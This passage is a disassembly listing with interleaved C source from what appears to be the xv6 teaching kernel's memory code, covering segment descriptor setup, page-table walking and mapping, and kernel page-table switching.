static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; }
801075ca: 55 push %ebp
801075cb: 89 e5 mov %esp,%ebp
801075cd: 8b 45 08 mov 0x8(%ebp),%eax
801075d0: 05 00 00 00 80 add $0x80000000,%eax
801075d5: 5d pop %ebp
801075d6: c3 ret
801075d7 <p2v>:
static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); }
801075d7: 55 push %ebp
801075d8: 89 e5 mov %esp,%ebp
801075da: 8b 45 08 mov 0x8(%ebp),%eax
801075dd: 05 00 00 00 80 add $0x80000000,%eax
801075e2: 5d pop %ebp
801075e3: c3 ret
801075e4 <seginit>:
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
801075e4: 55 push %ebp
801075e5: 89 e5 mov %esp,%ebp
801075e7: 53 push %ebx
801075e8: 83 ec 24 sub $0x24,%esp
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
801075eb: e8 88 b8 ff ff call 80102e78 <cpunum>
801075f0: 69 c0 cc 00 00 00 imul $0xcc,%eax,%eax
801075f6: 05 60 23 11 80 add $0x80112360,%eax
801075fb: 89 45 f4 mov %eax,-0xc(%ebp)
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801075fe: 8b 45 f4 mov -0xc(%ebp),%eax
80107601: 66 c7 40 7c ff ff movw $0xffff,0x7c(%eax)
80107607: 8b 45 f4 mov -0xc(%ebp),%eax
8010760a: 66 c7 40 7e 00 00 movw $0x0,0x7e(%eax)
80107610: 8b 45 f4 mov -0xc(%ebp),%eax
80107613: c6 80 80 00 00 00 00 movb $0x0,0x80(%eax)
8010761a: 8b 45 f4 mov -0xc(%ebp),%eax
8010761d: 0f b6 90 81 00 00 00 movzbl 0x81(%eax),%edx
80107624: 83 e2 f0 and $0xfffffff0,%edx
80107627: 83 ca 0a or $0xa,%edx
8010762a: 88 90 81 00 00 00 mov %dl,0x81(%eax)
80107630: 8b 45 f4 mov -0xc(%ebp),%eax
80107633: 0f b6 90 81 00 00 00 movzbl 0x81(%eax),%edx
8010763a: 83 ca 10 or $0x10,%edx
8010763d: 88 90 81 00 00 00 mov %dl,0x81(%eax)
80107643: 8b 45 f4 mov -0xc(%ebp),%eax
80107646: 0f b6 90 81 00 00 00 movzbl 0x81(%eax),%edx
8010764d: 83 e2 9f and $0xffffff9f,%edx
80107650: 88 90 81 00 00 00 mov %dl,0x81(%eax)
80107656: 8b 45 f4 mov -0xc(%ebp),%eax
80107659: 0f b6 90 81 00 00 00 movzbl 0x81(%eax),%edx
80107660: 83 ca 80 or $0xffffff80,%edx
80107663: 88 90 81 00 00 00 mov %dl,0x81(%eax)
80107669: 8b 45 f4 mov -0xc(%ebp),%eax
8010766c: 0f b6 90 82 00 00 00 movzbl 0x82(%eax),%edx
80107673: 83 ca 0f or $0xf,%edx
80107676: 88 90 82 00 00 00 mov %dl,0x82(%eax)
8010767c: 8b 45 f4 mov -0xc(%ebp),%eax
8010767f: 0f b6 90 82 00 00 00 movzbl 0x82(%eax),%edx
80107686: 83 e2 ef and $0xffffffef,%edx
80107689: 88 90 82 00 00 00 mov %dl,0x82(%eax)
8010768f: 8b 45 f4 mov -0xc(%ebp),%eax
80107692: 0f b6 90 82 00 00 00 movzbl 0x82(%eax),%edx
80107699: 83 e2 df and $0xffffffdf,%edx
8010769c: 88 90 82 00 00 00 mov %dl,0x82(%eax)
801076a2: 8b 45 f4 mov -0xc(%ebp),%eax
801076a5: 0f b6 90 82 00 00 00 movzbl 0x82(%eax),%edx
801076ac: 83 ca 40 or $0x40,%edx
801076af: 88 90 82 00 00 00 mov %dl,0x82(%eax)
801076b5: 8b 45 f4 mov -0xc(%ebp),%eax
801076b8: 0f b6 90 82 00 00 00 movzbl 0x82(%eax),%edx
801076bf: 83 ca 80 or $0xffffff80,%edx
801076c2: 88 90 82 00 00 00 mov %dl,0x82(%eax)
801076c8: 8b 45 f4 mov -0xc(%ebp),%eax
801076cb: c6 80 83 00 00 00 00 movb $0x0,0x83(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
801076d2: 8b 45 f4 mov -0xc(%ebp),%eax
801076d5: 66 c7 80 84 00 00 00 movw $0xffff,0x84(%eax)
801076dc: ff ff
801076de: 8b 45 f4 mov -0xc(%ebp),%eax
801076e1: 66 c7 80 86 00 00 00 movw $0x0,0x86(%eax)
801076e8: 00 00
801076ea: 8b 45 f4 mov -0xc(%ebp),%eax
801076ed: c6 80 88 00 00 00 00 movb $0x0,0x88(%eax)
801076f4: 8b 45 f4 mov -0xc(%ebp),%eax
801076f7: 0f b6 90 89 00 00 00 movzbl 0x89(%eax),%edx
801076fe: 83 e2 f0 and $0xfffffff0,%edx
80107701: 83 ca 02 or $0x2,%edx
80107704: 88 90 89 00 00 00 mov %dl,0x89(%eax)
8010770a: 8b 45 f4 mov -0xc(%ebp),%eax
8010770d: 0f b6 90 89 00 00 00 movzbl 0x89(%eax),%edx
80107714: 83 ca 10 or $0x10,%edx
80107717: 88 90 89 00 00 00 mov %dl,0x89(%eax)
8010771d: 8b 45 f4 mov -0xc(%ebp),%eax
80107720: 0f b6 90 89 00 00 00 movzbl 0x89(%eax),%edx
80107727: 83 e2 9f and $0xffffff9f,%edx
8010772a: 88 90 89 00 00 00 mov %dl,0x89(%eax)
80107730: 8b 45 f4 mov -0xc(%ebp),%eax
80107733: 0f b6 90 89 00 00 00 movzbl 0x89(%eax),%edx
8010773a: 83 ca 80 or $0xffffff80,%edx
8010773d: 88 90 89 00 00 00 mov %dl,0x89(%eax)
80107743: 8b 45 f4 mov -0xc(%ebp),%eax
80107746: 0f b6 90 8a 00 00 00 movzbl 0x8a(%eax),%edx
8010774d: 83 ca 0f or $0xf,%edx
80107750: 88 90 8a 00 00 00 mov %dl,0x8a(%eax)
80107756: 8b 45 f4 mov -0xc(%ebp),%eax
80107759: 0f b6 90 8a 00 00 00 movzbl 0x8a(%eax),%edx
80107760: 83 e2 ef and $0xffffffef,%edx
80107763: 88 90 8a 00 00 00 mov %dl,0x8a(%eax)
80107769: 8b 45 f4 mov -0xc(%ebp),%eax
8010776c: 0f b6 90 8a 00 00 00 movzbl 0x8a(%eax),%edx
80107773: 83 e2 df and $0xffffffdf,%edx
80107776: 88 90 8a 00 00 00 mov %dl,0x8a(%eax)
8010777c: 8b 45 f4 mov -0xc(%ebp),%eax
8010777f: 0f b6 90 8a 00 00 00 movzbl 0x8a(%eax),%edx
80107786: 83 ca 40 or $0x40,%edx
80107789: 88 90 8a 00 00 00 mov %dl,0x8a(%eax)
8010778f: 8b 45 f4 mov -0xc(%ebp),%eax
80107792: 0f b6 90 8a 00 00 00 movzbl 0x8a(%eax),%edx
80107799: 83 ca 80 or $0xffffff80,%edx
8010779c: 88 90 8a 00 00 00 mov %dl,0x8a(%eax)
801077a2: 8b 45 f4 mov -0xc(%ebp),%eax
801077a5: c6 80 8b 00 00 00 00 movb $0x0,0x8b(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801077ac: 8b 45 f4 mov -0xc(%ebp),%eax
801077af: 66 c7 80 94 00 00 00 movw $0xffff,0x94(%eax)
801077b6: ff ff
801077b8: 8b 45 f4 mov -0xc(%ebp),%eax
801077bb: 66 c7 80 96 00 00 00 movw $0x0,0x96(%eax)
801077c2: 00 00
801077c4: 8b 45 f4 mov -0xc(%ebp),%eax
801077c7: c6 80 98 00 00 00 00 movb $0x0,0x98(%eax)
801077ce: 8b 45 f4 mov -0xc(%ebp),%eax
801077d1: 0f b6 90 99 00 00 00 movzbl 0x99(%eax),%edx
801077d8: 83 e2 f0 and $0xfffffff0,%edx
801077db: 83 ca 0a or $0xa,%edx
801077de: 88 90 99 00 00 00 mov %dl,0x99(%eax)
801077e4: 8b 45 f4 mov -0xc(%ebp),%eax
801077e7: 0f b6 90 99 00 00 00 movzbl 0x99(%eax),%edx
801077ee: 83 ca 10 or $0x10,%edx
801077f1: 88 90 99 00 00 00 mov %dl,0x99(%eax)
801077f7: 8b 45 f4 mov -0xc(%ebp),%eax
801077fa: 0f b6 90 99 00 00 00 movzbl 0x99(%eax),%edx
80107801: 83 ca 60 or $0x60,%edx
80107804: 88 90 99 00 00 00 mov %dl,0x99(%eax)
8010780a: 8b 45 f4 mov -0xc(%ebp),%eax
8010780d: 0f b6 90 99 00 00 00 movzbl 0x99(%eax),%edx
80107814: 83 ca 80 or $0xffffff80,%edx
80107817: 88 90 99 00 00 00 mov %dl,0x99(%eax)
8010781d: 8b 45 f4 mov -0xc(%ebp),%eax
80107820: 0f b6 90 9a 00 00 00 movzbl 0x9a(%eax),%edx
80107827: 83 ca 0f or $0xf,%edx
8010782a: 88 90 9a 00 00 00 mov %dl,0x9a(%eax)
80107830: 8b 45 f4 mov -0xc(%ebp),%eax
80107833: 0f b6 90 9a 00 00 00 movzbl 0x9a(%eax),%edx
8010783a: 83 e2 ef and $0xffffffef,%edx
8010783d: 88 90 9a 00 00 00 mov %dl,0x9a(%eax)
80107843: 8b 45 f4 mov -0xc(%ebp),%eax
80107846: 0f b6 90 9a 00 00 00 movzbl 0x9a(%eax),%edx
8010784d: 83 e2 df and $0xffffffdf,%edx
80107850: 88 90 9a 00 00 00 mov %dl,0x9a(%eax)
80107856: 8b 45 f4 mov -0xc(%ebp),%eax
80107859: 0f b6 90 9a 00 00 00 movzbl 0x9a(%eax),%edx
80107860: 83 ca 40 or $0x40,%edx
80107863: 88 90 9a 00 00 00 mov %dl,0x9a(%eax)
80107869: 8b 45 f4 mov -0xc(%ebp),%eax
8010786c: 0f b6 90 9a 00 00 00 movzbl 0x9a(%eax),%edx
80107873: 83 ca 80 or $0xffffff80,%edx
80107876: 88 90 9a 00 00 00 mov %dl,0x9a(%eax)
8010787c: 8b 45 f4 mov -0xc(%ebp),%eax
8010787f: c6 80 9b 00 00 00 00 movb $0x0,0x9b(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80107886: 8b 45 f4 mov -0xc(%ebp),%eax
80107889: 66 c7 80 9c 00 00 00 movw $0xffff,0x9c(%eax)
80107890: ff ff
80107892: 8b 45 f4 mov -0xc(%ebp),%eax
80107895: 66 c7 80 9e 00 00 00 movw $0x0,0x9e(%eax)
8010789c: 00 00
8010789e: 8b 45 f4 mov -0xc(%ebp),%eax
801078a1: c6 80 a0 00 00 00 00 movb $0x0,0xa0(%eax)
801078a8: 8b 45 f4 mov -0xc(%ebp),%eax
801078ab: 0f b6 90 a1 00 00 00 movzbl 0xa1(%eax),%edx
801078b2: 83 e2 f0 and $0xfffffff0,%edx
801078b5: 83 ca 02 or $0x2,%edx
801078b8: 88 90 a1 00 00 00 mov %dl,0xa1(%eax)
801078be: 8b 45 f4 mov -0xc(%ebp),%eax
801078c1: 0f b6 90 a1 00 00 00 movzbl 0xa1(%eax),%edx
801078c8: 83 ca 10 or $0x10,%edx
801078cb: 88 90 a1 00 00 00 mov %dl,0xa1(%eax)
801078d1: 8b 45 f4 mov -0xc(%ebp),%eax
801078d4: 0f b6 90 a1 00 00 00 movzbl 0xa1(%eax),%edx
801078db: 83 ca 60 or $0x60,%edx
801078de: 88 90 a1 00 00 00 mov %dl,0xa1(%eax)
801078e4: 8b 45 f4 mov -0xc(%ebp),%eax
801078e7: 0f b6 90 a1 00 00 00 movzbl 0xa1(%eax),%edx
801078ee: 83 ca 80 or $0xffffff80,%edx
801078f1: 88 90 a1 00 00 00 mov %dl,0xa1(%eax)
801078f7: 8b 45 f4 mov -0xc(%ebp),%eax
801078fa: 0f b6 90 a2 00 00 00 movzbl 0xa2(%eax),%edx
80107901: 83 ca 0f or $0xf,%edx
80107904: 88 90 a2 00 00 00 mov %dl,0xa2(%eax)
8010790a: 8b 45 f4 mov -0xc(%ebp),%eax
8010790d: 0f b6 90 a2 00 00 00 movzbl 0xa2(%eax),%edx
80107914: 83 e2 ef and $0xffffffef,%edx
80107917: 88 90 a2 00 00 00 mov %dl,0xa2(%eax)
8010791d: 8b 45 f4 mov -0xc(%ebp),%eax
80107920: 0f b6 90 a2 00 00 00 movzbl 0xa2(%eax),%edx
80107927: 83 e2 df and $0xffffffdf,%edx
8010792a: 88 90 a2 00 00 00 mov %dl,0xa2(%eax)
80107930: 8b 45 f4 mov -0xc(%ebp),%eax
80107933: 0f b6 90 a2 00 00 00 movzbl 0xa2(%eax),%edx
8010793a: 83 ca 40 or $0x40,%edx
8010793d: 88 90 a2 00 00 00 mov %dl,0xa2(%eax)
80107943: 8b 45 f4 mov -0xc(%ebp),%eax
80107946: 0f b6 90 a2 00 00 00 movzbl 0xa2(%eax),%edx
8010794d: 83 ca 80 or $0xffffff80,%edx
80107950: 88 90 a2 00 00 00 mov %dl,0xa2(%eax)
80107956: 8b 45 f4 mov -0xc(%ebp),%eax
80107959: c6 80 a3 00 00 00 00 movb $0x0,0xa3(%eax)
// Map cpu, and curproc
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80107960: 8b 45 f4 mov -0xc(%ebp),%eax
80107963: 05 b8 00 00 00 add $0xb8,%eax
80107968: 89 c3 mov %eax,%ebx
8010796a: 8b 45 f4 mov -0xc(%ebp),%eax
8010796d: 05 b8 00 00 00 add $0xb8,%eax
80107972: c1 e8 10 shr $0x10,%eax
80107975: 89 c1 mov %eax,%ecx
80107977: 8b 45 f4 mov -0xc(%ebp),%eax
8010797a: 05 b8 00 00 00 add $0xb8,%eax
8010797f: c1 e8 18 shr $0x18,%eax
80107982: 89 c2 mov %eax,%edx
80107984: 8b 45 f4 mov -0xc(%ebp),%eax
80107987: 66 c7 80 8c 00 00 00 movw $0x0,0x8c(%eax)
8010798e: 00 00
80107990: 8b 45 f4 mov -0xc(%ebp),%eax
80107993: 66 89 98 8e 00 00 00 mov %bx,0x8e(%eax)
8010799a: 8b 45 f4 mov -0xc(%ebp),%eax
8010799d: 88 88 90 00 00 00 mov %cl,0x90(%eax)
801079a3: 8b 45 f4 mov -0xc(%ebp),%eax
801079a6: 0f b6 88 91 00 00 00 movzbl 0x91(%eax),%ecx
801079ad: 83 e1 f0 and $0xfffffff0,%ecx
801079b0: 83 c9 02 or $0x2,%ecx
801079b3: 88 88 91 00 00 00 mov %cl,0x91(%eax)
801079b9: 8b 45 f4 mov -0xc(%ebp),%eax
801079bc: 0f b6 88 91 00 00 00 movzbl 0x91(%eax),%ecx
801079c3: 83 c9 10 or $0x10,%ecx
801079c6: 88 88 91 00 00 00 mov %cl,0x91(%eax)
801079cc: 8b 45 f4 mov -0xc(%ebp),%eax
801079cf: 0f b6 88 91 00 00 00 movzbl 0x91(%eax),%ecx
801079d6: 83 e1 9f and $0xffffff9f,%ecx
801079d9: 88 88 91 00 00 00 mov %cl,0x91(%eax)
801079df: 8b 45 f4 mov -0xc(%ebp),%eax
801079e2: 0f b6 88 91 00 00 00 movzbl 0x91(%eax),%ecx
801079e9: 83 c9 80 or $0xffffff80,%ecx
801079ec: 88 88 91 00 00 00 mov %cl,0x91(%eax)
801079f2: 8b 45 f4 mov -0xc(%ebp),%eax
801079f5: 0f b6 88 92 00 00 00 movzbl 0x92(%eax),%ecx
801079fc: 83 e1 f0 and $0xfffffff0,%ecx
801079ff: 88 88 92 00 00 00 mov %cl,0x92(%eax)
80107a05: 8b 45 f4 mov -0xc(%ebp),%eax
80107a08: 0f b6 88 92 00 00 00 movzbl 0x92(%eax),%ecx
80107a0f: 83 e1 ef and $0xffffffef,%ecx
80107a12: 88 88 92 00 00 00 mov %cl,0x92(%eax)
80107a18: 8b 45 f4 mov -0xc(%ebp),%eax
80107a1b: 0f b6 88 92 00 00 00 movzbl 0x92(%eax),%ecx
80107a22: 83 e1 df and $0xffffffdf,%ecx
80107a25: 88 88 92 00 00 00 mov %cl,0x92(%eax)
80107a2b: 8b 45 f4 mov -0xc(%ebp),%eax
80107a2e: 0f b6 88 92 00 00 00 movzbl 0x92(%eax),%ecx
80107a35: 83 c9 40 or $0x40,%ecx
80107a38: 88 88 92 00 00 00 mov %cl,0x92(%eax)
80107a3e: 8b 45 f4 mov -0xc(%ebp),%eax
80107a41: 0f b6 88 92 00 00 00 movzbl 0x92(%eax),%ecx
80107a48: 83 c9 80 or $0xffffff80,%ecx
80107a4b: 88 88 92 00 00 00 mov %cl,0x92(%eax)
80107a51: 8b 45 f4 mov -0xc(%ebp),%eax
80107a54: 88 90 93 00 00 00 mov %dl,0x93(%eax)
lgdt(c->gdt, sizeof(c->gdt));
80107a5a: 8b 45 f4 mov -0xc(%ebp),%eax
80107a5d: 83 c0 74 add $0x74,%eax
80107a60: c7 44 24 04 38 00 00 movl $0x38,0x4(%esp)
80107a67: 00
80107a68: 89 04 24 mov %eax,(%esp)
80107a6b: e8 fb fa ff ff call 8010756b <lgdt>
loadgs(SEG_KCPU << 3);
80107a70: c7 04 24 18 00 00 00 movl $0x18,(%esp)
80107a77: e8 2e fb ff ff call 801075aa <loadgs>
// Initialize cpu-local storage.
cpu = c;
80107a7c: 8b 45 f4 mov -0xc(%ebp),%eax
80107a7f: 65 a3 00 00 00 00 mov %eax,%gs:0x0
proc = 0;
80107a85: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80107a8c: 00 00 00 00
}
80107a90: 83 c4 24 add $0x24,%esp
80107a93: 5b pop %ebx
80107a94: 5d pop %ebp
80107a95: c3 ret
80107a96 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80107a96: 55 push %ebp
80107a97: 89 e5 mov %esp,%ebp
80107a99: 83 ec 28 sub $0x28,%esp
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
80107a9c: 8b 45 0c mov 0xc(%ebp),%eax
80107a9f: c1 e8 16 shr $0x16,%eax
80107aa2: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80107aa9: 8b 45 08 mov 0x8(%ebp),%eax
80107aac: 01 d0 add %edx,%eax
80107aae: 89 45 f0 mov %eax,-0x10(%ebp)
if(*pde & PTE_P){
80107ab1: 8b 45 f0 mov -0x10(%ebp),%eax
80107ab4: 8b 00 mov (%eax),%eax
80107ab6: 83 e0 01 and $0x1,%eax
80107ab9: 85 c0 test %eax,%eax
80107abb: 74 17 je 80107ad4 <walkpgdir+0x3e>
pgtab = (pte_t*)p2v(PTE_ADDR(*pde));
80107abd: 8b 45 f0 mov -0x10(%ebp),%eax
80107ac0: 8b 00 mov (%eax),%eax
80107ac2: 25 00 f0 ff ff and $0xfffff000,%eax
80107ac7: 89 04 24 mov %eax,(%esp)
80107aca: e8 08 fb ff ff call 801075d7 <p2v>
80107acf: 89 45 f4 mov %eax,-0xc(%ebp)
80107ad2: eb 4b jmp 80107b1f <walkpgdir+0x89>
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
80107ad4: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80107ad8: 74 0e je 80107ae8 <walkpgdir+0x52>
80107ada: e8 03 b0 ff ff call 80102ae2 <kalloc>
80107adf: 89 45 f4 mov %eax,-0xc(%ebp)
80107ae2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80107ae6: 75 07 jne 80107aef <walkpgdir+0x59>
return 0;
80107ae8: b8 00 00 00 00 mov $0x0,%eax
80107aed: eb 47 jmp 80107b36 <walkpgdir+0xa0>
// Make sure all those PTE_P bits are zero.
memset(pgtab, 0, PGSIZE);
80107aef: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80107af6: 00
80107af7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80107afe: 00
80107aff: 8b 45 f4 mov -0xc(%ebp),%eax
80107b02: 89 04 24 mov %eax,(%esp)
80107b05: e8 5b d5 ff ff call 80105065 <memset>
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = v2p(pgtab) | PTE_P | PTE_W | PTE_U;
80107b0a: 8b 45 f4 mov -0xc(%ebp),%eax
80107b0d: 89 04 24 mov %eax,(%esp)
80107b10: e8 b5 fa ff ff call 801075ca <v2p>
80107b15: 83 c8 07 or $0x7,%eax
80107b18: 89 c2 mov %eax,%edx
80107b1a: 8b 45 f0 mov -0x10(%ebp),%eax
80107b1d: 89 10 mov %edx,(%eax)
}
return &pgtab[PTX(va)];
80107b1f: 8b 45 0c mov 0xc(%ebp),%eax
80107b22: c1 e8 0c shr $0xc,%eax
80107b25: 25 ff 03 00 00 and $0x3ff,%eax
80107b2a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80107b31: 8b 45 f4 mov -0xc(%ebp),%eax
80107b34: 01 d0 add %edx,%eax
}
80107b36: c9 leave
80107b37: c3 ret
80107b38 <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80107b38: 55 push %ebp
80107b39: 89 e5 mov %esp,%ebp
80107b3b: 83 ec 28 sub $0x28,%esp
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
80107b3e: 8b 45 0c mov 0xc(%ebp),%eax
80107b41: 25 00 f0 ff ff and $0xfffff000,%eax
80107b46: 89 45 f4 mov %eax,-0xc(%ebp)
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
80107b49: 8b 55 0c mov 0xc(%ebp),%edx
80107b4c: 8b 45 10 mov 0x10(%ebp),%eax
80107b4f: 01 d0 add %edx,%eax
80107b51: 83 e8 01 sub $0x1,%eax
80107b54: 25 00 f0 ff ff and $0xfffff000,%eax
80107b59: 89 45 f0 mov %eax,-0x10(%ebp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
80107b5c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
80107b63: 00
80107b64: 8b 45 f4 mov -0xc(%ebp),%eax
80107b67: 89 44 24 04 mov %eax,0x4(%esp)
80107b6b: 8b 45 08 mov 0x8(%ebp),%eax
80107b6e: 89 04 24 mov %eax,(%esp)
80107b71: e8 20 ff ff ff call 80107a96 <walkpgdir>
80107b76: 89 45 ec mov %eax,-0x14(%ebp)
80107b79: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80107b7d: 75 07 jne 80107b86 <mappages+0x4e>
return -1;
80107b7f: b8 ff ff ff ff mov $0xffffffff,%eax
80107b84: eb 48 jmp 80107bce <mappages+0x96>
if(*pte & PTE_P)
80107b86: 8b 45 ec mov -0x14(%ebp),%eax
80107b89: 8b 00 mov (%eax),%eax
80107b8b: 83 e0 01 and $0x1,%eax
80107b8e: 85 c0 test %eax,%eax
80107b90: 74 0c je 80107b9e <mappages+0x66>
panic("remap");
80107b92: c7 04 24 78 8c 10 80 movl $0x80108c78,(%esp)
80107b99: e8 9c 89 ff ff call 8010053a <panic>
*pte = pa | perm | PTE_P;
80107b9e: 8b 45 18 mov 0x18(%ebp),%eax
80107ba1: 0b 45 14 or 0x14(%ebp),%eax
80107ba4: 83 c8 01 or $0x1,%eax
80107ba7: 89 c2 mov %eax,%edx
80107ba9: 8b 45 ec mov -0x14(%ebp),%eax
80107bac: 89 10 mov %edx,(%eax)
if(a == last)
80107bae: 8b 45 f4 mov -0xc(%ebp),%eax
80107bb1: 3b 45 f0 cmp -0x10(%ebp),%eax
80107bb4: 75 08 jne 80107bbe <mappages+0x86>
break;
80107bb6: 90 nop
a += PGSIZE;
pa += PGSIZE;
}
return 0;
80107bb7: b8 00 00 00 00 mov $0x0,%eax
80107bbc: eb 10 jmp 80107bce <mappages+0x96>
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
if(a == last)
break;
a += PGSIZE;
80107bbe: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
pa += PGSIZE;
80107bc5: 81 45 14 00 10 00 00 addl $0x1000,0x14(%ebp)
}
80107bcc: eb 8e jmp 80107b5c <mappages+0x24>
return 0;
}
80107bce: c9 leave
80107bcf: c3 ret
80107bd0 <setupkvm>:
};
// Set up kernel part of a page table.
pde_t*
setupkvm(void)
{
80107bd0: 55 push %ebp
80107bd1: 89 e5 mov %esp,%ebp
80107bd3: 53 push %ebx
80107bd4: 83 ec 34 sub $0x34,%esp
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
80107bd7: e8 06 af ff ff call 80102ae2 <kalloc>
80107bdc: 89 45 f0 mov %eax,-0x10(%ebp)
80107bdf: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80107be3: 75 0a jne 80107bef <setupkvm+0x1f>
return 0;
80107be5: b8 00 00 00 00 mov $0x0,%eax
80107bea: e9 98 00 00 00 jmp 80107c87 <setupkvm+0xb7>
memset(pgdir, 0, PGSIZE);
80107bef: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80107bf6: 00
80107bf7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80107bfe: 00
80107bff: 8b 45 f0 mov -0x10(%ebp),%eax
80107c02: 89 04 24 mov %eax,(%esp)
80107c05: e8 5b d4 ff ff call 80105065 <memset>
if (p2v(PHYSTOP) > (void*)DEVSPACE)
80107c0a: c7 04 24 00 00 00 0e movl $0xe000000,(%esp)
80107c11: e8 c1 f9 ff ff call 801075d7 <p2v>
80107c16: 3d 00 00 00 fe cmp $0xfe000000,%eax
80107c1b: 76 0c jbe 80107c29 <setupkvm+0x59>
panic("PHYSTOP too high");
80107c1d: c7 04 24 7e 8c 10 80 movl $0x80108c7e,(%esp)
80107c24: e8 11 89 ff ff call 8010053a <panic>
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80107c29: c7 45 f4 a0 b4 10 80 movl $0x8010b4a0,-0xc(%ebp)
80107c30: eb 49 jmp 80107c7b <setupkvm+0xab>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
80107c32: 8b 45 f4 mov -0xc(%ebp),%eax
80107c35: 8b 48 0c mov 0xc(%eax),%ecx
80107c38: 8b 45 f4 mov -0xc(%ebp),%eax
80107c3b: 8b 50 04 mov 0x4(%eax),%edx
80107c3e: 8b 45 f4 mov -0xc(%ebp),%eax
80107c41: 8b 58 08 mov 0x8(%eax),%ebx
80107c44: 8b 45 f4 mov -0xc(%ebp),%eax
80107c47: 8b 40 04 mov 0x4(%eax),%eax
80107c4a: 29 c3 sub %eax,%ebx
80107c4c: 8b 45 f4 mov -0xc(%ebp),%eax
80107c4f: 8b 00 mov (%eax),%eax
80107c51: 89 4c 24 10 mov %ecx,0x10(%esp)
80107c55: 89 54 24 0c mov %edx,0xc(%esp)
80107c59: 89 5c 24 08 mov %ebx,0x8(%esp)
80107c5d: 89 44 24 04 mov %eax,0x4(%esp)
80107c61: 8b 45 f0 mov -0x10(%ebp),%eax
80107c64: 89 04 24 mov %eax,(%esp)
80107c67: e8 cc fe ff ff call 80107b38 <mappages>
80107c6c: 85 c0 test %eax,%eax
80107c6e: 79 07 jns 80107c77 <setupkvm+0xa7>
(uint)k->phys_start, k->perm) < 0)
return 0;
80107c70: b8 00 00 00 00 mov $0x0,%eax
80107c75: eb 10 jmp 80107c87 <setupkvm+0xb7>
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
if (p2v(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80107c77: 83 45 f4 10 addl $0x10,-0xc(%ebp)
80107c7b: 81 7d f4 e0 b4 10 80 cmpl $0x8010b4e0,-0xc(%ebp)
80107c82: 72 ae jb 80107c32 <setupkvm+0x62>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0)
return 0;
return pgdir;
80107c84: 8b 45 f0 mov -0x10(%ebp),%eax
}
80107c87: 83 c4 34 add $0x34,%esp
80107c8a: 5b pop %ebx
80107c8b: 5d pop %ebp
80107c8c: c3 ret
80107c8d <kvmalloc>:
// Allocate one page table for the machine for the kernel address
// space for scheduler processes.
void
kvmalloc(struct cpu *c)
{
80107c8d: 55 push %ebp
80107c8e: 89 e5 mov %esp,%ebp
80107c90: 83 ec 18 sub $0x18,%esp
c->kpgdir = setupkvm();
80107c93: e8 38 ff ff ff call 80107bd0 <setupkvm>
80107c98: 8b 55 08 mov 0x8(%ebp),%edx
80107c9b: 89 42 04 mov %eax,0x4(%edx)
switchkvm(c);
80107c9e: 8b 45 08 mov 0x8(%ebp),%eax
80107ca1: 89 04 24 mov %eax,(%esp)
80107ca4: e8 02 00 00 00 call 80107cab <switchkvm>
}
80107ca9: c9 leave
80107caa: c3 ret
80107cab <switchkvm>:
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(struct cpu *c)
{
80107cab: 55 push %ebp
80107cac: 89 e5 mov %esp,%ebp
80107cae: 83 ec 18 sub $0x18,%esp
flushTLB();
80107cb1: e8 26 09 00 00 call 801085dc <flushTLB>
lcr3(v2p(c->kpgdir)); // switch to the kernel page table
80107cb6: 8b 45 08 mov 0x8(%ebp),%eax
80107cb9: 8b 40 04 mov 0x4(%eax),%eax
80107cbc: 89 04 24 mov %eax,(%esp)
80107cbf: e8 06 f9 ff ff call 801075ca <v2p>
80107cc4: 89 04 24 mov %eax,(%esp)
80107cc7: e8 f3 f8 ff ff call 801075bf <lcr3>
}
80107ccc: c9 leave
80107ccd: c3 ret
80107cce <switchuvm>:
